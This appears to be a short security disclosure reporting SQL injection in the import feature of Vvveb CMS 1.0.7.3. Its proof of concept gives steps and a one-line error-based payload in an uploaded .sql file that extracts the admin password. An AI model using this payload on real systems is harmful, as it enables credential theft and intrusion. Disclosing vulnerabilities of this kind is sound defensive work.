[Security] Vulnerability:SQL injection vulnerability in the import functionality

[Huu1j]

Description

Vvveb CMS version 1.0.7.3 contains a critical SQL injection
vulnerability in the import functionality
An authenticated administrator can upload a .sql file, leading to SQL injection

Poc

1.Login to the admin panel.
2.Go to Tools -> Import.

3.Create a file named test.sql with the following content:

SELECT EXTRACTVALUE(1, CONCAT('~', (SELECT password FROM admin LIMIT 1)));

4.Upload the file to trigger an error-based SQL injection.